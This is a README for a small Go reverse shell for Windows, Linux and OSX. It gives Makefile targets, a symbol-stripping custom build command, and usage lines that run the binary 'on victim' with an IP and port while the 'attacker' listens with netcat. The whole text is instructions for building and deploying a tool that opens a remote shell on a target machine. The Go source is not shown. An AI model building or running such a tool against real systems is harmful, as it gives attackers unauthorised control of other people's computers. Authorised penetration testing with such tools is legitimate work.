Go reverse shell for Win/Linux/OSX

Small Go reverse shell for Windows, Linux and OSX. Calls the given shell (shellPath) and redirects std-pipes to communicate with the server socket. Tested with go1.12.

Similar reverse shells and partially based on:

• https://gist.github.com/moloch--/86068b6019ff5e3280725230dcafa892
• https://github.com/FireFart/goshell

Usage & Building

Building

Create a executables with Makefile:

• for Windows: make win
• for Windows with Powershell: make winps
• for Linux: make linux
• for OSX: make osx

Custom Build

GOOS=<ARCH> go build -ldflags "-s -w -X main.shellPath=<PATH>" -o shell *.go

Usage

• On victim: ./shell <IP> <PORT>
• On attacker: nc -lvp <PORT>